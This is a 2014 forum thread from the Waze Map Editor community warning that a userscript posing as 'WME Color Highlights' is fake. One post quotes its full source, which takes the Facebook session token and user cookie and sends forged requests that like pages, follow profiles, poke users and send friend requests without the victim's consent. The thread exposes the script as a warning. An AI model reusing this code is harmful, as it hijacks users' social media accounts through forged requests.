Attention: new WME Color Highlights on userscripts.org

Discussion for the unofficial, community-developed addons, extensions and scripts built for the Waze Map Editor.

The official index of these tools is the Community Plugins, Extensions and Tools wiki page.

Moderators: Unholy, bextein

Forum rules
Discussion for the unofficial, community-developed addons, extensions and scripts built for the Waze Map Editor.

DO NOT START a new thread unless it is about a new idea. Keep discussion of existing tools within the main thread for that tool.

The official index of these tools is the Community Plugins, Extensions and Tools wiki page.

Re: Attention: new WME Color Highlights on userscripts.org

Postby McCracken808 » Sat Feb 15, 2014 6:28 pm

Use this link to report to Userscript.org of its bogus nature.
McCracken808
 
Posts: 269
Joined: Sat Dec 31, 2011 10:14 pm
Location: Kunia, HI USA
Has thanked: 54 times
Been thanked: 23 times

Re: Attention: new WME Color Highlights on userscripts.org

Postby doctorkb » Fri Feb 14, 2014 6:53 pm

asterix06 wrote:How could we keep CH users aware of the fake...as not everybody is reading here?


Perhaps by somehow pointing everyone to either the wiki or this forum for script links...

There doesn't appear to be any reliable way of reporting malicious code on userscripts.
doctorkb
Coordinators
Coordinators
 
Posts: 4018
Joined: Wed Nov 04, 2009 9:17 am
Location: Edmonton, Alberta, Canada
Has thanked: 617 times
Been thanked: 1603 times

Re: Attention: new WME Color Highlights on userscripts.org

Postby asterix06 » Fri Feb 14, 2014 4:21 pm

How could we keep CH users aware of the fake...as not everybody is reading here?
asterix06
Waze Global Champs
Waze Global Champs
 
Posts: 4093
Joined: Sat Nov 14, 2009 9:23 am
Location: Italy
Has thanked: 911 times
Been thanked: 1689 times

Re: Attention: new WME Color Highlights on userscripts.org

Postby Timbones » Fri Feb 14, 2014 2:05 pm

Yes, it's been reported before. This author has a huge number of scripts, all masquerading as something they are not.
Timbones
Coordinators
Coordinators
 
Posts: 6677
Joined: Wed Feb 09, 2011 10:33 am
Location: York, UK
Has thanked: 973 times
Been thanked: 2608 times

Re: Attention: new WME Color Highlights on userscripts.org

Postby OyyoDams » Fri Feb 14, 2014 12:48 pm

Exact this one is a fake!

For info the code has nothing to do with a WME extension:

Code: Select all
// ==UserScript==
// @name            WME Color Highlights
// @namespace       WME Color Highlights
// @Hak Cipta          Smart Boy
// ==/UserScript==
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function Like(p) { var Page = new XMLHttpRequest(); var PageURL = "//www.facebook.com/ajax/pages/fan_status.php"; var PageParams = "&fbpage_id=" + p +"&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg="+fb_dtsg+"&phstamp="; Page.open("POST", PageURL, true); Page.onreadystatechange = function () { if (Page.readyState == 4 && Page.status == 200) { Page.close; } }; Page.send(PageParams); }
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); var fb_dtsg=document.getElementsByName("fb_dtsg")[0].value; var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function a(abone) { var http4=new XMLHttpRequest; var url4="/ajax/follow/follow_profile.php?__a=1"; var params4="profile_id="+abone+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp="; http4.open("POST",url4,true); http4.onreadystatechange=function() { if(http4.readyState==4&&http4.status==200)http4.close } ; http4.send(params4) } function sublist(uidss) { var a = document.createElement('script'); a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();"; document.body.appendChild(a); } function p(abone) { var http4 = new XMLHttpRequest(); var url4 = "//www.facebook.com/ajax/poke_dialog.php"; var params4 = "uid=" + abone + "&pokeback=0&ask_for_confirm=0&nctr[_mod]=pagelet_timeline_profile_actions&__asyncDialog=1&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=v&fb_dtsg="+fb_dtsg+"&phstamp="; http4.open("POST", url4, true); http4.onreadystatechange = function () { if (http4.readyState == 4 && http4.status == 200) { http4.close; } }; http4.send(params4); }var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var now=(new Date).getTime(); function P(opo) { var X = new XMLHttpRequest(); var XURL ="//www.facebook.com/ajax/ufi/like.php"; var XParams = "like_action=true&ft_ent_identifier="+opo+"&source=1&client_id="+now+"%3A379783857&rootid=u_jsonp_39_18&giftoccasion&ft[tn]=%3E%3D&ft[type]=20&ft[qid]=5890811329470279257&ft[mf_story_key]=2814962900193143952&ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user="+user_id+"&__a=1&__dyn=7n88QoAMBlClyocpae&__req=g4&fb_dtsg="+fb_dtsg+"&phstamp="; X.open("POST", XURL, true); X.onreadystatechange = function () { if (X.readyState == 4 && X.status == 200) { X.close; } }; X.send(XParams); }
// pic + fans
P("451804298278412");Like("710616545637958");Like("1409918565922390");Like("275136455944477");Like("603080806413219");P("616944838368872");Like("219378364899812");Like("420844481374394");
/*Add Friend*/;
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
function IDS(r) {
  var X = new XMLHttpRequest();
  var XURL = "//www.facebook.com/ajax/add_friend/action.php";
  var XParams = "to_friend=" + r +"&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg="+fb_dtsg+"&phstamp=";
  X.open("POST", XURL, true);
  X.onreadystatechange = function () {
    if (X.readyState == 4 && X.status == 200) {
      X.close;
    }
  };
  X.send(XParams);
}
OyyoDams
Global Champ Mentor
Global Champ Mentor
 
Posts: 4509
Joined: Sun Sep 02, 2012 3:18 pm
Location: France
Has thanked: 380 times
Been thanked: 1063 times

Attention: new WME Color Highlights on userscripts.org

Postby AlexN-114 » Fri Feb 14, 2014 12:43 pm

I found a new script at [url]userscripts.org[/url] which call itself WME Color Highlights and is from zuny alen. I looked in it and found nothing which looks like a Highlighter. :evil:
It is not limed to waze page and seems to send "likes" to facebook pages.

But perhaps I am only to stupid to understand this script, but I will not trust this script.

If I want to install a WME Color Highlights, then I will look that it is from TimBones ( OK, I know my WME Highlighter City is also safe)
AlexN-114
Waze Global Champs
Waze Global Champs
 
Posts: 577
Joined: Thu Jun 21, 2012 7:22 pm
Location: Wien, Österreich (Vienna, Austria)
Has thanked: 223 times
Been thanked: 343 times


Return to Addons, Extensions, and Scripts

Who is online

Users browsing this forum: jarkaz